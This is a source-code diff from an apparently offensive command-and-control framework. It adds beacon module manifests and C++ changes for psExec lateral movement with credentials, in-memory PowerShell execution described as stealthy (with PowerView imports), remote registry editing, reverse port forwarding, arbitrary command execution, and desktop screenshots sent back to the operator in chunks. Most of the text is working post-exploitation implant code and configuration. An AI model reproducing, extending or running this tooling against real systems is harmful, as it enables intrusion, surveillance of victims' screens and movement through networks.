"requires_session": true,
"platforms": ["windows", "linux"],
"archs": ["any"],
"args": [],
"examples": ["pwd"],
"source": "manifest"
}
+6 -6
View File
@@ -120,12 +120,13 @@ std::string PsExec::getInfo()
info += " * You can wrap arbitrary binaries with a service wrapper (e.g. nssm) if you need to run non-service executables as services.\n";
info += "- The module uses a short-lived service: the service is expected to stop within ~2 seconds and will be deleted after stopping.\n";
info += " * Therefore the executable launched by the service MUST NOT perform long-running tasks inside the service process (it should perform a quick action and exit).\n";
info += "- Authentication: provide explicit credentials (-u/-p) or use Kerberos (-k) / current token (-n) as appropriate.\n";
info += "- Authentication: provide explicit credentials (-u) or use Kerberos (-k) / current token (-n) as appropriate.\n";
info += "- The service executable is resolved by the TeamServer from Tools first, then UploadedArtifacts.\n";
info += "\nExamples:\n";
info += "- psExec -u DOMAIN\\\\Username Password m3dc.cyber.local /tmp/implant.exe\n";
info += "- psExec -k m3dc.cyber.local /tmp/implant.exe\n";
info += "- psExec -n m3dc.cyber.local /tmp/implant.exe\n";
info += "- psExec -n 10.9.20.10 /tmp/implant.exe\n";
info += "- psExec -u DOMAIN\\\\Username Password m3dc.cyber.local service.exe\n";
info += "- psExec -k m3dc.cyber.local service.exe\n";
info += "- psExec -n m3dc.cyber.local service.exe\n";
info += "- psExec -n 10.9.20.10 service.exe\n";
#endif
return info;
}
@@ -576,4 +577,3 @@ int PsExec::errorCodeToMsg(const C2Message& c2RetMessage, std::string& errorMsg)
#endif
return 0;
}
+70
View File
@@ -0,0 +1,70 @@
{
"name": "psExec",
"display_name": "psExec",
"kind": "module",
"description": "Copy and run a service executable on a remote Windows host. The service executable is resolved from Tools first, then UploadedArtifacts.",
"command_template": "psExec {auth_mode} {username:q?} {password:q?} {target:q} {service_artifact:q}",
"target": "beacon",
"requires_session": true,
"platforms": ["windows"],
"archs": ["x86", "x64", "arm64"],
"args": [
{
"name": "auth_mode",
"type": "enum",
"required": true,
"description": "Authentication mode.",
"values": ["-u", "-k", "-n"]
},
{
"name": "username",
"type": "text",
"required": false,
"description": "DOMAIN\\Username for -u mode."
},
{
"name": "password",
"type": "text",
"required": false,
"description": "Password for -u mode."
},
{
"name": "target",
"type": "text",
"required": true,
"description": "Target host name or IP."
},
{
"name": "service_artifact",
"type": "artifact",
"required": true,
"description": "Service executable artifact from Tools or UploadedArtifacts.",
"artifact_filters": [
{
"category": "tool",
"scope": "server",
"target": "teamserver",
"platform": "windows",
"arch": "session.arch",
"runtime": "any",
"name_contains": ".exe"
},
{
"category": "upload",
"scope": "operator",
"target": "beacon",
"platform": "session.platform",
"arch": "session.arch",
"runtime": "file",
"name_contains": ".exe"
}
]
}
],
"examples": [
"psExec -u DOMAIN\\Username Password123! fileserver service.exe",
"psExec -k fileserver service.exe",
"psExec -n fileserver service.exe"
],
"source": "manifest"
}
+9 -4
View File
@@ -12,9 +12,14 @@ else()
endif()
set_property(TARGET PwSh PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded")
target_link_libraries(PwSh )
add_custom_command(TARGET PwSh POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
$<TARGET_FILE:PwSh> "${C2_RUNTIME_MODULE_OUTPUT_DIR}/$<TARGET_FILE_NAME:PwSh>")
add_custom_command(TARGET PwSh POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
$<TARGET_FILE:PwSh> "${C2_RUNTIME_MODULE_OUTPUT_DIR}/$<TARGET_FILE_NAME:PwSh>")
add_custom_command(TARGET PwSh POST_BUILD
COMMAND ${CMAKE_COMMAND} -E make_directory "${C2_RUNTIME_ROOT}/data/Tools/Any/any"
COMMAND ${CMAKE_COMMAND} -E copy_if_different
"${CMAKE_CURRENT_SOURCE_DIR}/PowerShellRunner/rdm.dll"
"${C2_RUNTIME_ROOT}/data/Tools/Any/any/rdm.dll")
if(C2CORE_BUILD_TESTS)
if(WIN32)
add_executable(testsPwSh tests/testsPwSh.cpp PwSh.cpp HostControl.cpp AssemblyManager.cpp AssemblyStore.cpp HostMalloc.cpp MemoryManager.cpp ../ModuleCmd/syscall.cpp ${SYSCALL_OBJ})
@@ -24,7 +29,7 @@ if(C2CORE_BUILD_TESTS)
# add_executable(testsPwSh WIN32 tests/testsPwSh.cpp PwSh.cpp HostControl.cpp AssemblyManager.cpp AssemblyStore.cpp HostMalloc.cpp MemoryManager.cpp ../ModuleCmd/syscall.cpp ../ModuleCmd/syscall.x64.obj)
target_link_libraries(testsPwSh )
set_property(TARGET testsPwSh PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded")
add_custom_command(TARGET testsPwSh POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
add_custom_command(TARGET testsPwSh POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
$<TARGET_FILE:testsPwSh> "${C2_TEST_BIN_OUTPUT_DIR}/$<TARGET_FILE_NAME:testsPwSh>")
add_test(NAME testsPwSh COMMAND "${C2_TEST_BIN_OUTPUT_DIR}/$<TARGET_FILE_NAME:testsPwSh>")
+17 -20
View File
@@ -158,35 +158,32 @@ std::string PwSh::getInfo()
info += "This module allows you to load and execute a custom PowerShell instance entirely in memory.\n";
info += "The execution occurs within the current process.\n\n";
info += "Usage:\n";
info += " pwSh init <inputFile> <typeForDll>\n";
info += " - Arguments are optional. If not provided, the default PowerShell instance DLL will be loaded.\n";
info += " - The DLL must implment this methode: \"public string Invoke(string command)\".\n";
info += " - Loads the PowerShell .NET assembly DLL into memory.\n";
info += " - For DLLs, you must specify the fully qualified type name (e.g., Namespace.ClassName).\n\n";
info += "Usage:\n";
info += " pwSh init\n";
info += " - Loads the fixed PowerShell runner DLL from Tools/Any/any/rdm.dll.\n";
info += " - The runner type is fixed to rdm.rdm and must implement Invoke(string command).\n\n";
info += " pwSh run <cmd>\n";
info += " - Executes the given PowerShell command.\n\n";
info += " pwSh import <modulePsPath>\n";
info += " - Import the powersehll module (e.g., PowerView.ps1)\n\n";
info += " pwSh import <scriptArtifact>\n";
info += " - Import the powersehll module from Scripts/Windows or Scripts/Any (e.g., PowerView.ps1)\n\n";
info += " pwSh script <scriptArtifact>\n";
info += " - execute the powersehll script from Scripts/Windows or Scripts/Any.\n\n";
info += " pwSh script <scriptPath>\n";
info += " - execute the powersehll script.\n\n";
info += "Examples:\n";
info += " pwSh init\n";
info += " pwSh init customPS.dll CustomPS.PowerShell\n\n";
info += " pwSh run whoami\n";
info += " pwSh run $x = 4; Write-Output $x\n\n";
info += "Examples:\n";
info += " pwSh init\n";
info += " pwSh run whoami\n";
info += " pwSh run $x = 4; Write-Output $x\n\n";
info += "Notes:\n";
info += " - Assemblies are kept in memory and can be reused without reloading.\n";
info += " - Ensure the correct type and method names are specified when using custom DLLs.\n";
info += " - This module avoids writing files to disk, enhancing stealth.\n";
info += " - If you run 'init' in a process where the CLR is already loaded, you may encounter:\n";
info += " 'Failed: DefaultAppDomain - Load_2'.\n";
info += " - If you run 'init' in a process with an incompatible CLR/AppDomain already loaded,\n";
info += " initialize PwSh from a fresh beacon process or a process without that CLR context.\n";
#endif
return info;
}
@@ -945,8 +942,8 @@ int PwSh::errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg)
errorMsg = "Failed: IdentityManagerProc";
else if(errorCode==ERROR_LOAD_ASSEMLBY_2)
errorMsg = "Failed: IdentityMnaager - GetBindingIdentityFromStream";
else if(errorCode==ERROR_LOAD_ASSEMLBY_3)
errorMsg = "Failed: DefaultAppDomain - Load_2";
else if(errorCode==ERROR_LOAD_ASSEMLBY_3)
errorMsg = "Failed: PwSh runner assembly could not be loaded in the current CLR AppDomain. This usually means the beacon process already has an incompatible CLR/AppDomain context; retry from a fresh beacon process or a process without an existing conflicting CLR. Original stage: DefaultAppDomain - Load_2";
else if(errorCode==ERROR_LOAD_ASSEMLBY_4)
errorMsg = "Failed: DefaultAppDomain - Load_3";
else if(errorCode==ERROR_LOAD_ASSEMLBY_5)
+49
View File
@@ -0,0 +1,49 @@
{
"name": "pwSh",
"display_name": "pwSh",
"kind": "module",
"description": "Initialize and use the in-memory PowerShell runner. The runner DLL is fixed to Tools/Any/any/rdm.dll.",
"command_template": "pwSh {action} {command_or_script:q?} {arguments:raw?}",
"target": "beacon",
"requires_session": true,
"platforms": ["windows"],
"archs": ["x86", "x64", "arm64"],
"args": [
{
"name": "action",
"type": "enum",
"required": true,
"description": "PwSh action.",
"values": ["init", "run", "import", "script"]
},
{
"name": "command_or_script",
"type": "text",
"required": false,
"description": "PowerShell command for run, or script artifact for import/script.",
"artifact_filter": {
"category": "script",
"scope": "server",
"target": "beacon",
"platform": "windows",
"runtime": "powershell",
"name_contains": ".ps1"
},
"completion_parents": ["import", "script"]
},
{
"name": "arguments",
"type": "text",
"required": false,
"description": "Optional PowerShell command tail.",
"variadic": true
}
],
"examples": [
"pwSh init",
"pwSh run whoami",
"pwSh import PowerView.ps1",
"pwSh script collect.ps1"
],
"source": "manifest"
}
+1 -1
View File
@@ -195,7 +195,7 @@ int main()
ok &= expectErrorMessage(module, 8, "Failed: AppDomainThunk - QueryInterface", "error code 8");
ok &= expectErrorMessage(module, 11, "Failed: IdentityManagerProc", "error code 11");
ok &= expectErrorMessage(module, 12, "Failed: IdentityMnaager - GetBindingIdentityFromStream", "error code 12");
ok &= expectErrorMessage(module, 13, "Failed: DefaultAppDomain - Load_2", "error code 13");
ok &= expectErrorMessage(module, 13, "Failed: PwSh runner assembly could not be loaded in the current CLR AppDomain. This usually means the beacon process already has an incompatible CLR/AppDomain context; retry from a fresh beacon process or a process without an existing conflicting CLR. Original stage: DefaultAppDomain - Load_2", "error code 13");
ok &= expectErrorMessage(module, 14, "Failed: DefaultAppDomain - Load_3", "error code 14");
ok &= expectErrorMessage(module, 15, "Failed: No module loaded", "error code 15");
ok &= expectErrorMessage(module, 21, "Failed: Assembly - GetType_2", "error code 21");
+75
View File
@@ -0,0 +1,75 @@
{
"name": "registry",
"display_name": "registry",
"kind": "module",
"description": "Manipulate local or remote Windows registry keys.",
"command_template": "registry {operation} [-s {s:q}] -h {h:q} -k {k:q} [-n {n:q}] [-d {d:q}] [-t {t}]",
"target": "beacon",
"requires_session": true,
"platforms": ["windows"],
"archs": ["x86", "x64", "arm64"],
"args": [
{
"name": "operation",
"type": "enum",
"required": true,
"description": "Registry operation.",
"values": [
"set",
"deleteValue",
"delete",
"delvalue",
"query",
"get",
"createKey",
"create",
"deleteKey",
"delkey"
]
},
{
"name": "-s",
"type": "flag",
"required": false,
"description": "Remote host. Omit for localhost."
},
{
"name": "-h",
"type": "flag",
"required": true,
"description": "Root hive, for example HKLM, HKCU, HKU, HKCR, or HKCC.",
"values": ["HKLM", "HKCU", "HKU", "HKCR", "HKCC"]
},
{
"name": "-k",
"type": "flag",
"required": true,
"description": "Subkey path."
},
{
"name": "-n",
"type": "flag",
"required": false,
"description": "Value name required for value operations."
},
{
"name": "-d",
"type": "flag",
"required": false,
"description": "Value data for set."
},
{
"name": "-t",
"type": "flag",
"required": false,
"description": "Registry value type for set. Defaults to REG_SZ.",
"values": ["REG_SZ", "REG_DWORD", "REG_QWORD", "REG_EXPAND_SZ"]
}
],
"examples": [
"registry set -h HKLM -k Software\\Acme -n Path -d C:/Temp -t REG_SZ",
"registry query -h HKCU -k Environment -n Path",
"registry createKey -h HKCU -k Software\\Acme"
],
"source": "manifest"
}
+25
View File
@@ -0,0 +1,25 @@
{
"name": "remove",
"display_name": "remove",
"kind": "module",
"description": "Remove a remote file or directory from the beacon.",
"command_template": "remove {path:q}",
"target": "beacon",
"requires_session": true,
"platforms": ["windows", "linux"],
"archs": ["any"],
"args": [
{
"name": "path",
"type": "path",
"required": true,
"description": "Remote file or directory path.",
"variadic": true
}
],
"examples": [
"remove /tmp/file.txt",
"remove C:\\Temp\\file.txt"
],
"source": "manifest"
}
+16
View File
@@ -0,0 +1,16 @@
{
"name": "rev2self",
"display_name": "rev2self",
"kind": "module",
"description": "Return the beacon to its original token context.",
"command_template": "rev2self",
"target": "beacon",
"requires_session": true,
"platforms": ["windows"],
"archs": ["x86", "x64", "arm64"],
"args": [],
"examples": [
"rev2self"
],
"source": "manifest"
}
@@ -0,0 +1,35 @@
{
"name": "reversePortForward",
"display_name": "reversePortForward",
"kind": "module",
"description": "Start a reverse port forward from the beacon to a local service.",
"command_template": "reversePortForward {remote_port} {local_host:q} {local_port}",
"target": "beacon",
"requires_session": true,
"platforms": ["windows", "linux"],
"archs": ["any"],
"args": [
{
"name": "remote_port",
"type": "number",
"required": true,
"description": "Port to listen on remotely."
},
{
"name": "local_host",
"type": "text",
"required": true,
"description": "Local host reachable from the TeamServer side to forward traffic to."
},
{
"name": "local_port",
"type": "number",
"required": true,
"description": "Local port to forward traffic to."
}
],
"examples": [
"reversePortForward 8080 127.0.0.1 80"
],
"source": "manifest"
}
+26
View File
@@ -0,0 +1,26 @@
{
"name": "run",
"display_name": "run",
"kind": "module",
"description": "Run a system command on the beacon and return its output.",
"command_template": "run {command:raw}",
"target": "beacon",
"requires_session": true,
"platforms": ["windows", "linux"],
"archs": ["any"],
"args": [
{
"name": "command",
"type": "text",
"required": true,
"description": "Command line to execute.",
"variadic": true
}
],
"examples": [
"run whoami",
"run id",
"run cmd /c dir"
],
"source": "manifest"
}
+7 -1
View File
@@ -2,14 +2,20 @@ include_directories(../)
add_library(ScreenShot SHARED ScreenShot.cpp ScreenShooter.cpp)
set_property(TARGET ScreenShot PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded")
target_link_libraries(ScreenShot )
if(WIN32)
target_link_libraries(ScreenShot gdiplus ole32)
endif()
add_custom_command(TARGET ScreenShot POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
$<TARGET_FILE:ScreenShot> "${C2_RUNTIME_MODULE_OUTPUT_DIR}/$<TARGET_FILE_NAME:ScreenShot>")
if(C2CORE_BUILD_TESTS)
add_executable(testsScreenShot tests/testsScreenShot.cpp ScreenShot.cpp ScreenShooter.cpp)
target_link_libraries(testsScreenShot )
if(WIN32)
target_link_libraries(testsScreenShot gdiplus ole32)
endif()
add_custom_command(TARGET testsScreenShot POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
$<TARGET_FILE:testsScreenShot> "${C2_TEST_BIN_OUTPUT_DIR}/$<TARGET_FILE_NAME:testsScreenShot>")
add_test(NAME testsScreenShot COMMAND "${C2_TEST_BIN_OUTPUT_DIR}/$<TARGET_FILE_NAME:testsScreenShot>")
endif()
endif()
+75 -45
View File
@@ -2,16 +2,46 @@
#include "ScreenShooter.h"
#include <gdiplus.h>
#include <objidl.h>
#include <cwchar>
#include <iostream>
#include <vector>
using namespace guards;
void CreateBitmapFinal(std::vector<unsigned char> & data, CDCGuard &captureGuard, CBitMapGuard & bmpGuard, HGDIOBJ & originalBmp, int nScreenWidth, int nScreenHeight);
bool CreatePngFinal(std::vector<unsigned char> & data, CDCGuard &captureGuard, CBitMapGuard & bmpGuard, HGDIOBJ & originalBmp);
void CaptureDesktop(CDCGuard &desktopGuard, CDCGuard &captureGuard, CBitMapGuard & bmpGuard, HGDIOBJ & originalBmp, int * width, int * height, int left, int top);
void SpliceImages(ScreenShooter::CDisplayHandlesPool * pHdcPool, CDCGuard &captureGuard, CBitMapGuard & bmpGuard, HGDIOBJ & originalBmp, int * width, int * height);
int GetEncoderClsid(const WCHAR* format, CLSID* pClsid)
{
UINT num = 0;
UINT size = 0;
Gdiplus::GetImageEncodersSize(&num, &size);
if (size == 0)
return -1;
std::vector<BYTE> buffer(size);
auto imageCodecInfo = reinterpret_cast<Gdiplus::ImageCodecInfo*>(buffer.data());
if (Gdiplus::GetImageEncoders(num, size, imageCodecInfo) != Gdiplus::Ok)
return -1;
for (UINT index = 0; index < num; ++index)
{
if (std::wcscmp(imageCodecInfo[index].MimeType, format) == 0)
{
*pClsid = imageCodecInfo[index].Clsid;
return static_cast<int>(index);
}
}
return -1;
}
BOOL CALLBACK ScreenShooter::MonitorEnumProc(
HMONITOR hMonitor, // handle to display monitor
HDC hdcMonitor, // handle to monitor DC
@@ -46,58 +76,58 @@ void ScreenShooter::CaptureScreen(std::vector<unsigned char>& dataScreen)
SpliceImages(& displayHandles, captureGuard, bmpGuard, originalBmp, &width, &height);
CreateBitmapFinal(dataScreen, captureGuard, bmpGuard, originalBmp, width, height);
CreatePngFinal(dataScreen, captureGuard, bmpGuard, originalBmp);
}
void CreateBitmapFinal(std::vector<unsigned char> & data, CDCGuard &captureGuard, CBitMapGuard & bmpGuard, HGDIOBJ & originalBmp, int nScreenWidth, int nScreenHeight)
bool CreatePngFinal(std::vector<unsigned char> & data, CDCGuard &captureGuard, CBitMapGuard & bmpGuard, HGDIOBJ & originalBmp)
{
// save data to buffer
unsigned char charBitmapInfo[sizeof(BITMAPINFOHEADER) + 256 * sizeof(RGBQUAD)] = {0};
LPBITMAPINFO lpbi = (LPBITMAPINFO)charBitmapInfo;
lpbi->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
lpbi->bmiHeader.biHeight = nScreenHeight;
lpbi->bmiHeader.biWidth = nScreenWidth;
lpbi->bmiHeader.biPlanes = 1;
lpbi->bmiHeader.biBitCount = 32;
lpbi->bmiHeader.biCompression = BI_RGB;
data.clear();
if (!bmpGuard.get())
return false;
SelectObject(captureGuard.get(), originalBmp);
if (originalBmp)
SelectObject(captureGuard.get(), originalBmp);
if (!GetDIBits(captureGuard.get(), bmpGuard.get(), 0, nScreenHeight, NULL, lpbi, DIB_RGB_COLORS))
Gdiplus::GdiplusStartupInput gdiplusStartupInput;
ULONG_PTR gdiplusToken = 0;
if (Gdiplus::GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL) != Gdiplus::Ok)
return false;
CLSID pngClsid;
bool success = false;
IStream* stream = NULL;
if (GetEncoderClsid(L"image/png", &pngClsid) >= 0
&& CreateStreamOnHGlobal(NULL, TRUE, &stream) == S_OK)
{
int err = GetLastError();
// throw std::runtime_error("CreateBitmapFinal: GetDIBits failed");
Gdiplus::Bitmap bitmap(bmpGuard.get(), NULL);
if (bitmap.GetLastStatus() == Gdiplus::Ok
&& bitmap.Save(stream, &pngClsid, NULL) == Gdiplus::Ok)
{
HGLOBAL global = NULL;
if (GetHGlobalFromStream(stream, &global) == S_OK)
{
STATSTG stat = {};
void* memory = GlobalLock(global);
if (memory != NULL
&& stream->Stat(&stat, STATFLAG_NONAME) == S_OK
&& stat.cbSize.QuadPart > 0)
{
const SIZE_T size = static_cast<SIZE_T>(stat.cbSize.QuadPart);
auto begin = static_cast<unsigned char*>(memory);
data.assign(begin, begin + size);
success = true;
}
if (memory != NULL)
GlobalUnlock(global);
}
}
}
DWORD ImageSize = lpbi->bmiHeader.biSizeImage; //known image size
DWORD PalEntries = 3;
if (lpbi->bmiHeader.biCompression != BI_BITFIELDS)
PalEntries = (lpbi->bmiHeader.biBitCount <= 8) ?(int)(1 << lpbi->bmiHeader.biBitCount) : 0;
if (lpbi->bmiHeader.biClrUsed)
PalEntries = lpbi->bmiHeader.biClrUsed;
//known pal entrys count
//all resize
data.resize(sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + PalEntries * sizeof(RGBQUAD) + ImageSize);
//set screenshot size
DWORD imageOffset = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + PalEntries * sizeof(RGBQUAD);
DWORD infoHeaderOffset = sizeof(BITMAPFILEHEADER);
BITMAPFILEHEADER * pFileHeader = (BITMAPFILEHEADER *)&data[0];
pFileHeader->bfType = 19778; // always the same, 'BM'
pFileHeader->bfReserved1 = pFileHeader->bfReserved2 = 0;
pFileHeader->bfOffBits = imageOffset;
pFileHeader->bfSize = ImageSize;
if (!GetDIBits(captureGuard.get(), bmpGuard.get(), 0, nScreenHeight, &data[imageOffset], lpbi, DIB_RGB_COLORS))
{
// throw std::runtime_error("CreateBitmapFinal: GetDIBits failed");
}
memcpy(&data[sizeof(BITMAPFILEHEADER)], &lpbi->bmiHeader, sizeof(BITMAPINFOHEADER));
if (stream != NULL)
stream->Release();
Gdiplus::GdiplusShutdown(gdiplusToken);
return success;
}
@@ -196,4 +226,4 @@ void SpliceImages( ScreenShooter::CDisplayHandlesPool * pHdcPool
}
#endif
#endif
+68 -12
View File
@@ -7,6 +7,7 @@
#include "Common.hpp"
#include <algorithm>
#include <cstring>
#include <chrono>
#include <sstream>
@@ -17,6 +18,7 @@ using namespace std;
// Compute hash of moduleName at compile time, so the moduleName string don't show in the binary
constexpr std::string_view moduleName = "screenShot";
constexpr unsigned long long moduleHash = djb2(moduleName);
constexpr std::size_t CHUNK_SIZE = 1 * 1024 * 1024;
#ifdef _WIN32
@@ -53,9 +55,10 @@ std::string ScreenShot::getInfo()
// TODO: add screenshot every x seconds with a recurringExec
#ifdef BUILD_TEAMSERVER
info += "ScreenShot:\n";
info += "ScreenShot\n";
info += "Capture a screenshot and store it as a generated PNG TeamServer artifact.\n";
info += "exemple:\n";
info += "- ScreenShot\n";
info += "- screenShot\n";
info += "- screenShot desktop.png\n";
#endif
return info;
}
@@ -78,22 +81,72 @@ int ScreenShot::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
}
#define ERROR_OPEN_FILE 1
#define ERROR_OPEN_FILE 1
#define ERROR_CAPTURE_SCREEN 2
int ScreenShot::emitChunk(C2Message& c2RetMessage)
{
if (m_screenshotBuffer.empty() || m_bytesSent >= m_screenshotBuffer.size())
return 0;
const std::size_t totalSize = m_screenshotBuffer.size();
const std::size_t chunkSize = std::min(CHUNK_SIZE, totalSize - m_bytesSent);
c2RetMessage.set_instruction(std::to_string(moduleHash));
c2RetMessage.set_cmd("");
c2RetMessage.set_uuid(m_taskUuid);
c2RetMessage.set_outputfile(m_outputfile);
c2RetMessage.set_args(m_bytesSent == 0 ? "0" : "1");
c2RetMessage.set_data(m_screenshotBuffer.data() + m_bytesSent, chunkSize);
m_bytesSent += chunkSize;
if (m_bytesSent == totalSize)
{
c2RetMessage.set_returnvalue("Success");
m_outputfile.clear();
m_taskUuid.clear();
m_screenshotBuffer.clear();
m_bytesSent = 0;
}
else
{
c2RetMessage.set_returnvalue(std::to_string(m_bytesSent) + "/" + std::to_string(totalSize));
}
return 1;
}
int ScreenShot::process(C2Message &c2Message, C2Message &c2RetMessage)
{
c2RetMessage.set_instruction(c2RetMessage.instruction());
c2RetMessage.set_instruction(c2Message.instruction());
c2RetMessage.set_outputfile(c2Message.outputfile());
c2RetMessage.set_args("0");
#ifdef _WIN32
std::vector<unsigned char> dataScreen;
ScreenShooter::CaptureScreen(dataScreen);
std::string buffer(dataScreen.begin(), dataScreen.end());
c2RetMessage.set_data(buffer);
if (dataScreen.empty())
{
c2RetMessage.set_errorCode(ERROR_CAPTURE_SCREEN);
return 0;
}
c2RetMessage.set_returnvalue("Success");
#endif
m_outputfile = c2Message.outputfile();
m_taskUuid = c2Message.uuid();
m_screenshotBuffer.assign(dataScreen.begin(), dataScreen.end());
m_bytesSent = 0;
emitChunk(c2RetMessage);
#elif defined(C2CORE_BUILD_TESTS)
if (!c2Message.data().empty())
{
m_outputfile = c2Message.outputfile();
m_taskUuid = c2Message.uuid();
m_screenshotBuffer = c2Message.data();
m_bytesSent = 0;
emitChunk(c2RetMessage);
}
#endif
return 0;
}
@@ -107,6 +160,8 @@ int ScreenShot::errorCodeToMsg(const C2Message &c2RetMessage, std::string& error
{
if(errorCode==ERROR_OPEN_FILE)
errorMsg = "Failed: Couldn't open file";
else if(errorCode==ERROR_CAPTURE_SCREEN)
errorMsg = "Failed: screen capture returned no data";
}
#endif
return 0;
@@ -134,9 +189,7 @@ std::string getFilenameTimestamp()
int ScreenShot::recurringExec(C2Message& c2RetMessage)
{
// TODO
return 1;
return emitChunk(c2RetMessage);
}
@@ -144,11 +197,14 @@ int ScreenShot::recurringExec(C2Message& c2RetMessage)
int ScreenShot::followUp(const C2Message &c2RetMessage)
{
#ifdef BUILD_TEAMSERVER
if(!c2RetMessage.outputfile().empty())
return 0;
const std::string buffer = c2RetMessage.data();
if(buffer.size()>0)
{
std::string outputFile = "screenShot" + getFilenameTimestamp() + ".bmp";
std::string outputFile = "screenShot" + getFilenameTimestamp() + ".png";
std::ofstream output(outputFile, std::ios::binary);
output << buffer;
output.close();
+5
View File
@@ -23,7 +23,12 @@ public:
}
private:
int emitChunk(C2Message& c2RetMessage);
std::string m_outputfile;
std::string m_taskUuid;
std::string m_screenshotBuffer;
std::size_t m_bytesSent = 0;
};
+24
View File
@@ -0,0 +1,24 @@
{
"name": "screenShot",
"display_name": "screenShot",
"kind": "module",
"description": "Capture a screenshot from the beacon host and register it as a generated PNG TeamServer artifact.",
"command_template": "screenShot {artifact_name:q?}",
"target": "beacon",
"requires_session": true,
"platforms": ["windows"],
"archs": ["x86", "x64", "arm64"],
"args": [
{
"name": "artifact_name",
"type": "text",
"required": false,
"description": "Optional generated PNG artifact filename hint. Omit the extension or use .png."
}
],
"examples": [
"screenShot",
"screenShot desktop.png"
],
"source": "manifest"
}
+65 -7
View File
@@ -1,6 +1,7 @@
#include "../ScreenShot.hpp"
#include "../../tests/TestHelpers.hpp"
#include <algorithm>
#include <iostream>
#include <string>
#include <vector>
@@ -9,9 +10,20 @@ using namespace test_helpers;
namespace
{
bool hasBmpHeader(const std::string& data)
constexpr std::size_t ChunkSize = 1 * 1024 * 1024;
bool hasPngHeader(const std::string& data)
{
return data.size() >= 2 && data[0] == 'B' && data[1] == 'M';
const unsigned char expected[] = {0x89, 'P', 'N', 'G', '\r', '\n', 0x1A, '\n'};
return data.size() >= sizeof(expected)
&& std::equal(
expected,
expected + sizeof(expected),
data.begin(),
[](unsigned char lhs, char rhs)
{
return lhs == static_cast<unsigned char>(rhs);
});
}
}
@@ -52,7 +64,7 @@ int main()
ScreenShot module;
C2Message recurring;
ok &= expect(module.recurringExec(recurring) == 1, "recurringExec should report no recurring work yet");
ok &= expect(module.recurringExec(recurring) == 0, "recurringExec should report no recurring work when no screenshot is pending");
}
{
@@ -60,7 +72,8 @@ int main()
C2Message ret;
ok &= expect(module.followUp(ret) == 0, "followUp should accept an empty response");
ret.set_data("not-a-bmp");
ret.set_outputfile("generated-screenshot.png");
ret.set_data("not-a-png");
ok &= expect(module.followUp(ret) == 0, "followUp should accept response data");
}
@@ -71,13 +84,26 @@ int main()
C2Message ret;
ok &= expect(module.init(cmd, message) == 0, "process setup should initialize");
message.set_outputfile("generated-screenshot.png");
ok &= expect(module.process(message, ret) == 0, "process should return success");
#ifdef _WIN32
ok &= expect(!ret.instruction().empty(), "process should return a screenshot instruction");
#else
ok &= expect(ret.instruction() == "screenShot", "process should preserve instruction");
#endif
ok &= expect(ret.outputfile() == "generated-screenshot.png", "process should preserve generated artifact output path");
ok &= expect(ret.args() == "0", "process should mark screenshot as the first artifact chunk");
#ifdef _WIN32
ok &= expect(ret.returnvalue() == "Success", "Windows process should report Success");
if (!ret.data().empty())
if (ret.errorCode() > 0)
{
ok &= expect(hasBmpHeader(ret.data()), "Windows screenshot data should have a BMP header when data is captured");
ok &= expect(ret.data().empty(), "failed Windows capture should not return payload data");
}
else if (!ret.data().empty())
{
ok &= expect(ret.returnvalue() == "Success" || ret.returnvalue().find("/") != std::string::npos,
"Windows process should report success or chunk progress");
ok &= expect(hasPngHeader(ret.data()), "Windows screenshot data should have a PNG header when data is captured");
}
#else
ok &= expect(ret.returnvalue().empty(), "non-Windows process should not report screenshot output");
@@ -85,6 +111,38 @@ int main()
#endif
}
#if defined(C2CORE_BUILD_TESTS) && !defined(_WIN32)
{
ScreenShot module;
C2Message message;
C2Message firstChunk;
C2Message finalChunk;
const std::string payload(ChunkSize + 3, 'A');
message.set_instruction("screenShot");
message.set_uuid("shot-0001");
message.set_outputfile("generated-screenshot.png");
message.set_data(payload);
ok &= expect(module.process(message, firstChunk) == 0, "test payload process should return success");
ok &= expect(firstChunk.uuid() == "shot-0001", "first chunk should preserve task uuid");
ok &= expect(firstChunk.outputfile() == "generated-screenshot.png", "first chunk should preserve output file");
ok &= expect(firstChunk.args() == "0", "first chunk should be marked as initial artifact data");
ok &= expect(firstChunk.data().size() == ChunkSize, "first chunk should use the screenshot chunk size");
ok &= expect(firstChunk.returnvalue().find("/") != std::string::npos, "first chunk should report transfer progress");
ok &= expect(module.recurringExec(finalChunk) == 1, "recurringExec should emit the remaining screenshot chunk");
ok &= expect(finalChunk.uuid() == "shot-0001", "final chunk should preserve task uuid");
ok &= expect(finalChunk.outputfile() == "generated-screenshot.png", "final chunk should preserve output file");
ok &= expect(finalChunk.args() == "1", "final chunk should be marked as a continuation artifact chunk");
ok &= expect(finalChunk.data().size() == 3, "final chunk should contain the remaining screenshot bytes");
ok &= expect(finalChunk.returnvalue() == "Success", "final chunk should complete the screenshot transfer");
C2Message done;
ok &= expect(module.recurringExec(done) == 0, "recurringExec should stop after the final screenshot chunk");
}
#endif
{
ScreenShot module;
C2Message ret;
+3 -2
View File
@@ -185,9 +185,10 @@ std::string Script::getInfo()
std::string info;
#ifdef BUILD_TEAMSERVER
info += "script:\n";
info += "Launch the script on the victim machine\n";
info += "Launch a TeamServer-managed script artifact on the victim machine.\n";
info += "Scripts are resolved from Scripts/<platform> or Scripts/Any.\n";
info += "exemple:\n";
info += " - script /tmp/toto.sh\n";
info += " - script collect.sh\n";
#endif
return info;
}
+56
View File
@@ -0,0 +1,56 @@
{
"name": "script",
"display_name": "script",
"kind": "module",
"description": "Run a TeamServer-managed script artifact on the beacon. Scripts are resolved from Scripts/<platform>, Scripts/Any, or UploadedArtifacts.",
"command_template": "script {script_artifact:q}",
"target": "beacon",
"requires_session": true,
"platforms": ["windows", "linux"],
"archs": ["any"],
"args": [
{
"name": "script_artifact",
"type": "artifact",
"required": true,
"description": "Script artifact compatible with the current session.",
